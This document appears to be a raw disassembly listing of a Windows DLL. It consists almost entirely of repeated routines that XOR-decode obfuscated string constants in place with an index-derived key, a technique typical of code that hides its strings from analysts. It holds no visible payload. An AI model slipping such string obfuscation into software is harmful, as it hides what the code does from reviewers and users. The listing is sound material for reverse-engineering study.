movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.uXUI_XH]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b30], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b34]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008c5f0
lea rax, [rbp + 0x1b30]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008c630
lea rdx, [rbp + 0x1b30]
jmp 0x180090ce1
mov eax, dword [0x1801c3168]
mov r8d, r14d
movsd xmm0, qword [str.TPNZND]
mov dword [rbp + 0x1bb8], eax
movzx eax, word [0x1801c316c]
mov word [rbp + 0x1bbc], ax
movzx eax, byte [0x1801c316e]
mov byte [rbp + 0x1bbe], al
movsd qword [rbp + 0x1bb0], xmm0
cmp r12d, 2
jl 0x18008c776
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.TPNZND]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1bb0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bb4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bb4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bb0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008c790
lea rax, [rbp + 0x1bb0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008c7d0
lea rdx, [rbp + 0x1bb0]
jmp 0x180090ce1
cmp byte [0x1801c317b], r14b
movsd xmm0, qword [str.RYOCenTXS_A]
mov eax, dword [0x1801c3178]
movsd qword [rbp + 0x1618], xmm0
mov dword [rbp + 0x1620], eax
je 0x18008c954
mov r8d, r14d
cmp r12d, 2
jl 0x18008c908
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.RYOCenTXS_A]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1618], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x161c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x161c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1618]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18008c920
lea rax, [rbp + 0x1618]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008c960
lea rdx, [rbp + 0x1618]
jmp 0x180090ce1
mov eax, dword [0x1801c3188]
mov r8d, r14d
movsd xmm0, qword [str.bV_MSX_Q]
mov dword [rbp + 0x1bc8], eax
movzx eax, word [0x1801c318c]
mov word [rbp + 0x1bcc], ax
movzx eax, byte [0x1801c318e]
mov byte [rbp + 0x1bce], al
movsd qword [rbp + 0x1bc0], xmm0
cmp r12d, 2
jl 0x18008caa6
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.bV_MSX_Q]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1bc0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bc4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bc4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008cac0
lea rax, [rbp + 0x1bc0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008cb00
lea rdx, [rbp + 0x1bc0]
jmp 0x180090ce1
mov eax, dword [0x1801c3198]
mov r8d, r14d
movsd xmm0, qword [0x1801c3190]
mov dword [rbp + 0x1788], eax
movzx eax, byte [0x1801c319c]
mov byte [rbp + 0x178c], al
movsd qword [rbp + 0x1780], xmm0
cmp r12d, 2
jl 0x18008cc38
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3190]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1780], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1784]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1784], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1780]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008cc50
lea rax, [rbp + 0x1780]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008cc90
lea rdx, [rbp + 0x1780]
jmp 0x180090ce1
movzx eax, word [0x1801c31b0]
mov r8d, r14d
mov word [rbp + 0x2368], ax
movzx eax, byte [0x1801c31b2]
mov byte [rbp + 0x236a], al
movups xmm0, xmmword [str.fBUI]
movups xmmword [rbp + 0x2358], xmm0
cmp r12d, 2
jl 0x18008cdeb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x235c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008ccf0
cmp r8d, 0x13
jge 0x18008ce34
movsxd rax, r8d
lea r9, [rbp + 0x2358]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18008ce00
lea rax, [rbp + 0x2358]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008ce40
lea rdx, [rbp + 0x2358]
jmp 0x180090ce1
cmp byte [0x1801c31c9], r14b
movups xmm0, xmmword [str.eVO]
movzx eax, word [0x1801c31c8]
mov word [rbp + 0x2230], ax
movups xmmword [rbp + 0x2220], xmm0
je 0x18008cfe4
mov r8d, r14d
cmp r12d, 2
jl 0x18008cf9b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2224]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008cea0
cmp r8d, 0x12
jge 0x18008cfe4
movsxd rax, r8d
lea r9, [rbp + 0x2220]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18008cfb0
lea rax, [rbp + 0x2220]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008cff0
lea rdx, [rbp + 0x2220]
jmp 0x180090ce1
movups xmm0, xmmword [str.wDKXOWH]
movups xmmword [rbp + 0x1f00], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008d184
cmp r12d, 2
jl 0x18008d145
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f04]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008d050
jmp 0x18008d184
lea r9, [rbp + 0x1f00]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008d150
lea rax, [rbp + 0x1f00]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d190
lea rdx, [rbp + 0x1f00]
jmp 0x180090ce1
movups xmm0, xmmword [0x1801c31e0]
movups xmmword [rbp + 0x1f10], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008d324
cmp r12d, 2
jl 0x18008d2e5
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f14]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008d1f0
jmp 0x18008d324
lea r9, [rbp + 0x1f10]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008d2f0
lea rax, [rbp + 0x1f10]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d330
lea rdx, [rbp + 0x1f10]
jmp 0x180090ce1
mov eax, dword [0x1801c31f0]
mov r8, r13
movzx ecx, word [0x1801c31f4]
mov dword [rbp + 0x1f8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x1f9], 0x37
xor byte [rbp + 0x1fa], 0x38
xor byte [rbp + 0x1fb], 0x39
mov word [rbp + 0x1fc], cx
xor cl, 0x3a
xor byte [rbp + 0x1fd], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1f8], Ordinal_79
mov byte [rbp + 0x1fe], al
lea rax, [rbp + 0x1f8]
mov byte [rbp + 0x1fc], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d3a4
lea rdx, [rbp + 0x1f8]
jmp 0x180090ce1
cmp byte [0x1801c3205], r14b
mov eax, dword [0x1801c3200]
movsd xmm0, qword [str.RYOCeoUQK4_C]
mov dword [rbp + 0x1b48], eax
movzx eax, word [0x1801c3204]
mov word [rbp + 0x1b4c], ax
movsd qword [rbp + 0x1b40], xmm0
je 0x18008d534
mov r8d, r14d
cmp r12d, 2
jl 0x18008d4ea
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.RYOCeoUQK4_C]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b40], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b44], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b40]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008d500
lea rax, [rbp + 0x1b40]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d540
lea rdx, [rbp + 0x1b40]
jmp 0x180090ce1
cmp byte [0x1801c321d], r14b
mov eax, dword [0x1801c3218]
movups xmm0, xmmword [str.rXM_V]
mov dword [rbp + 0x2608], eax
movzx eax, word [0x1801c321c]
movups xmmword [rbp + 0x25f8], xmm0
mov word [rbp + 0x260c], ax
je 0x18008d6f4
mov r8d, r14d
cmp r12d, 2
jl 0x18008d6ab
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x25fc]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008d5b0
cmp r8d, 0x16
jge 0x18008d6f4
movsxd rax, r8d
lea r9, [rbp + 0x25f8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x18008d6c0
lea rax, [rbp + 0x25f8]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d700
lea rdx, [rbp + 0x25f8]
jmp 0x180090ce1
movups xmm0, xmmword [str.e__JN]
movups xmmword [rbp + 0x1f20], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x18008d894
cmp r12d, 2
jl 0x18008d855
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1f24]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008d760
jmp 0x18008d894
lea r9, [rbp + 0x1f20]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008d860
lea rax, [rbp + 0x1f20]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d8a0
lea rdx, [rbp + 0x1f20]
jmp 0x180090ce1
movzx eax, word [0x1801c3230]
mov r8, r13
mov word [rsp + 0x64], ax
movzx eax, byte [0x1801c3232]
xor byte [rsp + 0x65], 0x37
xor al, 0x38
mov byte [rsp + 0x64], Ordinal_79
mov byte [rsp + 0x66], al
lea rax, [rsp + 0x64]
inc r8
cmp byte [rax + r8], r14b
jne 0x18008d8e0
lea rdx, [rsp + 0x64]
jmp 0x180090ce1
cmp byte [0x1801c3241], r14b
movsd xmm0, qword [0x1801c3238]
movzx eax, word [0x1801c3240]
movsd qword [rbp + 0x1128], xmm0
mov word [rbp + 0x1130], ax
je 0x18008d960
xor byte [rbp + 0x1129], 0x37
